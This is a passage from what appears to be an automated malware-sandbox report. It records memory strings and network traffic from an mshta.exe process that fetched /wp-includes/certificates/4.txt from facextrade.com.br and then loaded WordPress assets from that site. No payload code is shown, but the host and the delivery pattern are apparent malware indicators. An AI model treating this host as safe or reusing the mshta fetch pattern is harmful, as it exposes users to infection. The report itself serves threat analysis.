Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lh6.ggpht.com/s8
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maps.googleapis.com/maps/api/js/GeoPhotoService.SingleImageSearchprh
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: mshta.exe, 00000008.00000002.1167751704.0000000002B43000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1063601637.0000000002B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s.w.org/images/core/emoji/11/svg/https://s.w.org/images/core/emoji/11/72x72/NatKL$:
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/tiledP
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/fusiontables/answer/9185417).
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/HN
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/ON
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167109385.00000000023AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit29
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2S
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2Y
Source: mshta.exe, 00000008.00000002.1167751704.0000000002B43000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1063601637.0000000002B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twemoji.maxcdn.com/2/wp-exclude-emoji
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://vimeo.com/:id
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://youtu.be/:id

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[1].css

Jump to behavior

Source: unknown

DNS traffic detected: queries for: facextrade.com.br

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
